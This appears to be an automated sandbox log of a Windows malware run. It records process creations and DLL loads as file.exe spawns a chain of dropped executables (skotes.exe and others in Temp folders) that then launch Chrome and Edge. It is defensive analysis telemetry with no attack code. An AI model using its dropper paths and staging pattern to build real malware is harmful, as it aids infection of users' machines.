Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2288,i,8108119705186044268,9136360584141256623,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6776 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6952 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4160 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2524 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=744 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7044 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKFBGDBFBKK.exe "C:\Users\user\DocumentsKFBGDBFBKK.exe"
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe "C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe "C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe "C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe"
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1988,i,21939172132999769,2787057012611107708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3384 --field-trial-handle=1988,i,21939172132999769,2787057012611107708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2012,i,997493168856611365,3389256609775755856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: secur32.dll
